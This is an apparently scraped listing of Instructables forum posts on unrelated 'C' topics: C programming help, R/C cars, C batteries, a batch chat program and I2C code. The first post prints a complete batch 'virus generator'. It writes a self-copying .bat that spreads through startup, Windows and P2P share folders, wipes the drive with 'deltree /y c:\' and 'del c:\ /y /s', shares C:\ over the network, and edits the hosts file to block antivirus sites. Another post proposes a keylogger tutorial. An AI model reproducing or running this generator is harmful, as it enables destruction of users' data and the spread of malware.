Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Posted by Vinylshakers 10 years ago

C++ audio

Where can I learn about how to program audio in C++? I already know many of the the basics of C++, but I really want to get into audio programming.

Posted by 8bit 9 years ago

C/C++ (CPP or C Plus Plus) Programs -- Will Write, money is used to goto College

Hi, I am writing programs for people in C or C++ to earn money for College. I have been programming for many years and have a good amount of experience. If you would like something made, please private message me or leave a comment below. I will try to get back to you as soon as possible. Thanks  

Posted by Ebay 8 years ago

How Do I begin to program in c without a microcontroller

How would i get started writing programs in C/C++ on the computer for free. I would like to be able to write simple games.

Posted by sotsirh194 10 years ago

c compilier

Where can i get a free c compilier because ive been using djggp and its has a limited source bytes i want unlimited source bytes

Posted by cris1133 10 years ago

R/C planes

Have any of you flown any R/C planes gas or electric?

Posted by Superninjacamper941 10 years ago

Programming the iRobot

Does anyone now what language the robot can be programmed in? C, C++, C#, Java, BASIC. Anyone know?

Posted by sardines454 11 years ago

C++ Keylogger

Im posting this forum to find out what you people think about posting a instructable about a kelogger..... any ideas?

Posted by B.F.L.M 9 years ago

free example Assembler and C programs. Examples

Ftp:// username: ian password: blank, no password required.

Posted by turnbui 4 years ago

K'Nex C' Bows

Hey I have a question... what you think 'bout my C' Bow? I'll put up an Instructable for it soon! =)

Posted by ThaJuzz 10 years ago

R/C Car

Hi, I had this r/c car, but I had lost the top, can anyone help vme figure out what to do with it? how can I make a top with plastic? And sorry, but the pics were a little blurry, (the camera was out of focus) but you can still see the basic shape

Posted by zack247 9 years ago

RIP Arthur C Clarke

PAssed away, aged 90 :-(

Posted by Kiteman 10 years ago

arduino interfacing with ps2 keyboard

Simple_Testmodify.cpp: In function 'void setup()': Simple_Testmodify:34: error: no matching function for call to 'PS2Keyboard::begin(int&, int&)' C:\Program Files\arduino-1.0\libraries\PS2Keyboard_014A/PS2Keyboard.h:77: note: candidates are: void PS2Keyboard::begin(int) Simple_Testmodify.cpp: In function 'void loop()': Simple_Testmodify:52: error: 'begin' was not declared in this scope THE ABOVE ERROR WAS SHOWN ON VERIFICATION OF THE PROGRAM KINDLY ADVICE THIS WAS THE CODE I USED TO INTER FACE PS2 KEYBOARD WITH ARDUINO UNO  #include int DataPin = 8; int IRQpin =  3; PS2Keyboard keyboard; void setup() {   delay(1000);   keyboard.begin(DataPin,IRQpin);   Serial.begin(9600);   Serial.println("Keyboard Test:"); } void loop() {   if (keyboard.available()) {     char PS2_ENTER;     char PS2_TAB;     char PS2_ESC;     char PS2_PAGEDOWN;     char PS2_PAGEUP;     char PS2_LEFTARROW;     char PS2_RIGHTARROW;     char PS2_UPARROW;     char PS2_DOWNARROW;     char PS2_DELETE;     // read the next key        char c =;         // check for some of the special keys     if (c == PS2_ENTER) {       Serial.println();     } else if (c == PS2_TAB) {       Serial.print("[Tab]");     } else if (c == PS2_ESC) {       Serial.print("[ESC]");     } else if (c == PS2_PAGEDOWN) {       Serial.print("[PgDn]");     } else if (c == PS2_PAGEUP) {       Serial.print("[PgUp]");     } else if (c == PS2_LEFTARROW) {       Serial.print("[Left]");     } else if (c == PS2_RIGHTARROW) {       Serial.print("[Right]");     } else if (c == PS2_UPARROW) {       Serial.print("[Up]");     } else if (c == PS2_DOWNARROW) {       Serial.print("[Down]");     } else if (c == PS2_DELETE) {       Serial.print("[Del]");     } else {             // otherwise, just print all normal characters       Serial.print(c);     }   } }

Posted by akshay12345 6 years ago

USB type C

Greetings, USB type c please? So I have spent alot of time researching different ways to light small ornament designs. I have considered EL lighting and LED, yet, in order for these lighting techniques to work sufficiently, you need 12v of power. There are Instructables to power these lightning methods per USB, however this ofcourse only provides the lightning with 5v. What I find quite surprising however is that there are no tutorials whatsoever with the new usb type: USB-C. Since USB-C can apparently provide 20v I wonder why there is little to no information available concerning these subjects. Are there technical limitations I dont know about? If not: would anyone please help me make usb-c powered led strips ^^

Posted by zeepjes 1 year ago

Are the TIP31 and TIP31B or C interchangable?

I  want to make a version of but I have found three types of the TIB31.  A B and C.  Are they interchangable?

Posted by finfan7 8 years ago


Hellow everyone, i kinda run into this site, and this group, and i made an acc as you can see :3 i kinda made a chat today in batch, pretty simple and using Dropbox, but i haz some ideas with powershell and using an FTP. but here is a pic of how it works and the code ofcorse! code client: @echo off SET name=%username% color 0a :main cls echo ############################# echo #welcome to the dropbox chat# echo ############################# echo. echo Make your sellection bellow! echo. echo [1]-Collor menu echo [2]-Chat name echo [3]-Chatroom echo [4]-Info (waar normaal nooit iemand kijkt) echo name: %name% echo. :sellect1 set /p C=Sellection: if "%C%"=="1" goto collor if "%C%"=="2" goto name if "%C%"=="3" goto chat1 if "%C%"=="4" goto info if Else goto main /goto main :chat1 echo %name% just joined the chat>>chat.txt goto chat :collor cls echo ############ echo #COLLORS!!!# echo ############ echo. echo pick a collor echo. echo [1]- White echo [2]- Green echo [3]- Red echo [4]- Purple echo [5]- Blue echo [6]- Yellow echo. echo [0]- Main menu echo. :sellect2 set /p C=Collor: if "%C%"=="1" color F if "%C%"=="2" color A if "%C%"=="3" color C if "%C%"=="4" color D if "%C%"=="5" color B if "%C%"=="6" color E if "%C%"=="0" goto main goto collor :name cls echo ############### echo #create a name# echo ############### echo. echo Type in your name (please dont use spacebar) echo. :sellect3 set /p C=Name: SET name=%C% goto main :chat cls echo ######## echo #-CHAT-# echo ######## echo. echo Every msg you type will be added in the chat.txt file, echo so chek on that file for the chat. echo. :sellect3 set /p C=: echo [%time%] %name%:%C%>>chat.txt if "%C%"=="/clear" goto del if "%C%"=="/afk" echo %name% is currently afk>>chat.txt if "%C%"=="/back" echo %name% is no longer afk>>chat.txt if "%C%"=="porn" echo %name% is a perv>>chat.txt goto chat :del del chat.txt goto chat code reader: @echo off :1 cls type chat.txt PING -n 2>nul goto 1 thats a bit it, kinda simple i know, but its fun to use and fun to make, feedback is always welcome! ^__^ have a great day/night bye!

Posted by dwngrt 5 years ago

How to program in C/C++

Wow, I haven't been on for a long time, anyway, does anyone know how to get started in C/C++ programming? I am looking to buy a gp2x to write applications for, and these are the other languages that it will accept, Assembler CACK Fenix Pascal GLBASIC Python Ruby Sdlbasic So what should i learn first, C++ or the other ones, an if you answer could you point me to a good book or guide?

Posted by Steamdnt 9 years ago

r/c and arduino communications

How do I check to see if my values for my reciever match the values in the r/c lawnmower code. It says if they don't to change them. But, I don't know how to check them.

Posted by mfm5024 8 years ago

A Level choices

 I'm not after anything in particular here just want some opinions. After recently applying to my local sixth form college I'm curious as to...well I just want to talk really. My options are: 1.Chemistry 2.Physics 3.Mathematics 4.DT: Product design - Materials Reserve:Computing GCSE: P= predicted grade, C = current grade (Or already gained GCSE), L/10 = how much I enjoy, G/10 = how capable I am. Maths: P= A*, C=V. high A, L8/10, G7/10 Physics: P=A*, C=A*, L9/10, G9/10 ICT: P=D(distinction), C=D, L7/10, G10/10 BPE: P=A*, C=A/A*, L6/10, G8/10 Chemistry: P=A*, C=A*, L9/10, G9/10 DT (Electronics):P=A*, C=A*, L9/10, G9/10 Catering: P=A*, C=A, L5/10, G8/10 Music: P=A/A* , C=B/A, L5/10, G7/10 Biology: P=A/A*, C=A/A*, L8/10, G7/10 English Lit.: P=A*, C=A, L6/10, G6/10 English Lang.: P=A/A*, C= B/A, L6/10, G6/10 PE: No GCSE Anyone else recently applied for sixth form? Currently at sixth form college or university? Any advice? I reckon I am going to end up (sounds so negative) in Engineering or Science, whether I choose University or an apprenticeship etc. ANY advice appreciated.

Posted by DELETED_zoltzerino 8 years ago

R/C WebCam(W.I.P)

I(Edible_Death) am designing a little toy for those who seek time to waste and utterly no reason to design such a fun toy or whatever this item by be.R/C Webcam. Items:4AA Battery pack,Small r/c car,soldering gun,Webcam

Posted by Edible_Death 11 years ago

How Much Did You Eat?

What's your score for Thanksgiving feasting? Relate your holiday tale of gluteny. I had (aprox): 1 c.Turkey 2 c. of Green bean cassarole 1 1/2 c. of mashed potatoes 1/2 c. gravy 1/2 c. cranberry sauce 3 slices Pumpkin pie 2 slices apple pie 3 Shrimp kabobs countless bags of chips way to much sweet potatoes Lots of soda (2 c. or more) And the morning after I'm starving :}

Posted by KentsOkay 10 years ago

Why Sub c batteries used in battery packs for drills?

Is this somehow related to discharge rate? I'm trying to replace existing sub c batteries, but their price is put me off. Can anyone provide some info? If use equal capacity aa, what the difference gonna be (once again discharge rate)? I would  really appreciate any info about this.

Posted by Extasy 6 years ago

PIC C compiler

I'm planning on getting started with PICs this christmas. I've aquiered everything i need to get started, and done some reading on assembler language. But I have yet to find any free C compilers for the PIC microcontroller. Could some experienced PIC users please give me some pointers?

Posted by chr 11 years ago

r/c commuication with the arduino mega

I was wondering if anybody knows what pins have to be used on the arduino mega to get the r/c signal converted so that i can drive a store bought motor driver. I am lost  on the wire connections. Thanks for the help

Posted by mfm5024 8 years ago

Salted Sha1

Does anyone have c code for salted sha1 or a hashing program that run in dos mode??

Posted by jam BD 9 years ago

Microcontroller inputs in C language?

I'm having problems finding and figuring how to do inputs with mirocontrollers VIA button press >> led goes on.(I have a ATTINY2313)Outputs are as simple as PORTB = 0x10 (being hex for pin 16). Keep in mind I'm very new to micros and C. The most I've done was fast-slow blink patterns. How can i do inputs though? SIMPLE code sample is welcomed!

Posted by Killa-X 10 years ago

AVRDUDE C programming and random - help

I've tryed a few code samples but none are working. I use AVR dude and i've been doing #include but i cant get rand() with RAND_MAX to work, cuz i just get a expression error. code sample please!

Posted by Killa-X 10 years ago

Things to do with C Batteries?

For a while my wife had to use this special medical machine that ran on c batteries.  every week the hospital would send us a box batteries even tho they were lasting about a month.  We kept telling them that we didn't need more but they said that they were required to send them anyway.  Now that she's off the machine I have all these batteries and nothing that uses them.  Everything that i've found on Amazon is very expensive.    I'm into woodworking and no absolutely nothing about electrical stuff or I'd design something myself.    anybody have any cool projects using c batteries? as one project idea, I have several of these lantern flashlights that run on d's.  it would be cool to convert those to run on c's.

Posted by dimtick 7 years ago

I need some help please ^^

Hello everyone. i have one project to control the rotation 3 phase motor with visual C. But i don't know how to do that. anyone who know tell me how to do that please :)

Posted by pfromthailand 4 years ago

free computer programs written in C and Assembler

I have a number of free example programs including socket and web page programming. Help yourself by going to and use   ian   as the username. There is no password required so leave it blank. I hope you find something useful. ian t.

Posted by turnbui 4 years ago

Gas or Battery

I want to buy a R/C car but can't choose between nitro powered or battery powered anyone that can help me?

Posted by gmana 9 years ago

Java IDE Help With Code

Hey, i need help with a java code i just wrote up. Here it is: import java.awt.*; import javax.swing.*; import java.util.*; public class Main extends JFrame { public static void main(String[] args) {     JFrame gui = JFrame;   JLabel txt = JLabel("", JLabel.CENTER);   Random t = new Random();   int c;    for (c = 1; c <= 1; c++) {   gui.JLabel answer = new JLabel("");   Main();     gui.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);     gui.setVisible(true);     txt.setText(t.nextInt(50));          }     } } Thanks.

Posted by nancyjohns 3 years ago

C++ help

Hello programers i need ur help, i need c++ program that control dc motor by 2 inputs U for Up and D for Down , so once  press U cycle duty increases by 25%  until reach max and press D for decreasing 25% until stop i hope  getting replays soon thanks all

Posted by nerofromeuro 3 years ago

Unable to download Hex and C files

I am trying to download a few .Hex files and all I keep getting is .tmp files. Does anyone have any suggestions? -- Todd

Posted by toddbg 8 years ago

HELP!!!: how to make a r/c camera

So, i want to make a miniature r/c camera that does video wirelessly, but i can't find anything on the subject anywhere. in my opinion, just the fact that it is small makes it very plausible to do, and therefore an appropriate question. if anyone knows anything, it would be cool if you could let me know! :)

Posted by slayerpianoman 10 years ago

Happy new year instructablers! c ya next year!

Posted by Danny 11 years ago

Battery Power Capability (C)

I'm trying to understand a little bit more about batteries. I've learnt so far: "Volts,  amps, and  watts measure electricity. Volts measure the “pressure” under which electricity flows. Amps measure the amount of electric current. Watts measure the amount of work done by a certain amount of current at a certain pressure or voltage." Now I'm interested in knowing the maximum amount of energy you can draw from a battery at any one time. I presume you can't instantly drain a batteries full energy capacity at any one time. I have read that: "The way the power capability is measured is in C's. A C is the Amp-hour capacity divided by 1 hour. So the C of a 2Ah battery is 2A. The amount of current a battery 'likes' to have drawn from it is measured in C. The higher the C the more current you can draw from the battery without exhausting it prematurely. Lead acid batteries can have very high C values (10C or higher) , and lithium coin cells have very low ones (0.01C)" Am I write in saying a 1.2V 1200mAh has a power capability of 1.2C? In which case I should only ever draw 1.2C or less to preserve the battery? How do I increase this amount when using 2 batteries, if I wire two batteries together does the power capability increase to 2.4C for the above example batteries? If so do I have to wire them in parallel or series for this to work? Thank you.

Posted by jakespikey 6 years ago

12v to 120v sine inverter boosting

I have a 20 year old van. The a/c leaked and it is much cheaper to buy a 120v window unit ($140 with a 3-year walk-in exchange warranty) than to pay a shop to rebuilt the vehicle a/c. I chose a 5k BTU window unit that uses 4.1 amps running, and have a 1k watt sine wave inverter. Alone, the inverter will not start the a/c unit, but will power the fan. I confirmed a trick to start motors with an inverter. I connected an 8" bench grinder to the inverter and started it. It took a few restarts to get it up to speed. Then I started the a/c and it ran without problems. The bench grinder motor was able to supply the reactive power the a/c compressor needed to start. Both continued to run without straining the van's alternator. BUT, I don't want to travel with a running bench grinder going, that's not safe. Is there another way to supply the reactive boost that is safe to travel with? Once I get a simple stable way to run the a/c I'll work on a mount to vent the hot side. The van has sliding windows.

Posted by DavidN71 3 years ago

Replace r/c batteries

Hi, does anyone know how to replace r/c car batteries with normal AA cells (or pp3 or whatever)? This is really annoying me coz I have an old r/c car (pretty good one actually) but the battery has died and I was wondering how to replace it (or 'refresh' it if this is possible, which I don't think it is...). It would also be helpful to know a technique for finding out the voltage/amperage of the old batteries so I can fix it without blowing the electronics. Pictures would be attached but the uploader isn't working right now; I'll get them up as soon as possible. Thanks guys,

Posted by TurboSnail 6 years ago

How many do you have?

Ive got a Mini-t, micro-t, xmod, zip zap, spin master havoc heli, and my dad haz a mini-baja and my sister has the lego r/c.

Posted by nerfer192 10 years ago

speed control for A-C electric motor

I want to use a GE A-C motor (5KC33GG101): Connection Type and Voltage Rating in Volts: 115.0 line to neutral single input Rotor Speed Rating in Rpm: 1725.0 single full load Frequency in Hertz: 60.0 input to run a 50' line on pulleys for a Halloween project but it's too fast. Can anybody help me figure out if I can buy/build a controller to run it slower? Thanks in advance!

Posted by mario-alonzo 1 year ago

Pentium 4 CPU hitting 75+ Degrees C (167 Degrees F)

Hi It's the good old Aussie summer and my computer doesn't like it one bit. Does anyone think a Pentium 4 CPU getting up to 75+ Degrees C (167 Degrees F) is a bit hot? The case only has only one case fan (in the power supply) Any suggestions to get it to run cooler? More fans? Water cooling?

Posted by thermoelectric 9 years ago

Knex Survey

Just wanting some of you to take a survey... this will help me and alot of other people Remember to only pick one answer! Question 1: Which kind of gun do you like best? A: Ram gun B: Slingshot C: Gatling D: Other/Special Question 2: What trigger mechinsim do you like best? A: True Trigger B: True-Block C: Sear System Question 3: What is your favorite size of gun? A: Pistol B: Assault C: Sniper Question 4: What thickness do you like best? A: 3-4 layers B: 5-6 layers C: 7+ layers Question 5: Out of all these factors, which one of them do you think matters the most? A: Power B: Comfort C: Looks D: Other Question 6: In a knex war, which feature is the most valued? (you can pick more than one) A: Removable mags B: Rapid fire C: Revolvers D: Long range Thank you for participating in this survey! -DGM EDIT: Survey is closing january 30, Results will be up by Febuary 7

Posted by Der Bradly 9 years ago

emaxx camera?

Hi, i have a traxxass E-maxx and was wondering if there is a way to attatch a camera inside the body? I have a few ideas, but i wanna know what you guys think. Thanks!

Posted by chopstx 9 years ago


I have noticed that on Instructables, I seldom see anything relating to computer programming. I'd like to change that. I would strongly reccomend adding a tab labled: Programing under the Tech section of instructables. To clarify this, I am referring to the sections under Tech. e.g. CNC and Microsoft.  Thank you.

Posted by cjs1298 6 years ago

New instructables

We need new instructables, please come up with something.

Posted by Riley C 10 years ago


What chords do you know? G, EM, E, F,C

Posted by TSC 8 years ago

OpenGL Video Tutorials

Hey guys. Found a site with video tutorials for programming in OpenGL. They say you should already be familiar with C++ before going there, but I've completed up to lesson 6 with only a bit of C background.They're quite good starter material, IMHO.Pass it on. (I have no affiliation with the site)Royal

Posted by royalestel 10 years ago

How to read uart data and write to i2c device.

// Port for the I2C #define I2C_DDR DDRD #define I2C_PIN PIND #define I2C_PORT PORTD // Pins to be used in the bit banging #define I2C_CLK 0 #define I2C_DAT 1 #define I2C_DATA_HI()\ I2C_DDR &= ~ (1 << I2C_DAT);\ I2C_PORT |= (1 << I2C_DAT); #define I2C_DATA_LO()\ I2C_DDR |= (1 << I2C_DAT);\ I2C_PORT &= ~ (1 << I2C_DAT); #define I2C_CLOCK_HI()\ I2C_DDR &= ~ (1 << I2C_CLK);\ I2C_PORT |= (1 << I2C_CLK); #define I2C_CLOCK_LO()\ I2C_DDR |= (1 << I2C_CLK);\ I2C_PORT &= ~ (1 << I2C_CLK); void I2C_WriteBit(unsigned char c) {     if (c > 0)     {         I2C_DATA_HI();     }     else     {         I2C_DATA_LO();     }     I2C_CLOCK_HI();     delay(1);     I2C_CLOCK_LO();     delay(1);     if (c > 0)     {         I2C_DATA_LO();     }     delay(1); } unsigned char I2C_ReadBit() {     I2C_DATA_HI();     I2C_CLOCK_HI();     delay(1);     unsigned char c = I2C_PIN;     I2C_CLOCK_LO();     delay(1);     return (c >> I2C_DAT) & 1; } // Inits bitbanging port, must be called before using the functions below // void I2C_Init() {     I2C_PORT &= ~ ((1 << I2C_DAT) | (1 << I2C_CLK));     I2C_CLOCK_HI();     I2C_DATA_HI();     delay(1); } // Send a START Condition // void I2C_Start() {     // set both to high at the same time     I2C_DDR &= ~ ((1 << I2C_DAT) | (1 << I2C_CLK));     delay(1);     I2C_DATA_LO();     delay(1);     I2C_CLOCK_LO();     delay(1); } // Send a STOP Condition // void I2C_Stop() {     I2C_CLOCK_HI();     delay(1);     I2C_DATA_HI();     delay(1); } // write a byte to the I2C slave device // unsigned char I2C_Write(unsigned char c) {     for (char i = 0; i < 8; i++)     {         I2C_WriteBit(c & 128);         c <<= 1;     }     //return I2C_ReadBit();     return 0; } // read a byte from the I2C slave device // unsigned char I2C_Read(unsigned char ack) {     unsigned char res = 0;     for (char i = 0; i < 8; i++)     {         res <<= 1;         res |= I2C_ReadBit();     }     if (ack > 0)     {         I2C_WriteBit(0);     }     else     {         I2C_WriteBit(1);     }     delay(1);     return res; }

Posted by Blixxer 3 years ago

C Help

I'm working on an electronic project for school, and I've been trying to learn C, I have a quick question, I think the answer is a function, but I don't know and I need an example. Basically I want something where I can break up the code into sections (I'm pretty sure it's called a function) and bring them all back together in the main() for example, lets say I want to have a function to turn on an led, then I have a different function to wait for so long, and then another function to turn it off, except I can control what LED I want to turn on/off and for how long (I want to be able to input to the function) Once again, I'm pretty sure it's called a function, I just don't know how to use them.

Posted by guyfrom7up 10 years ago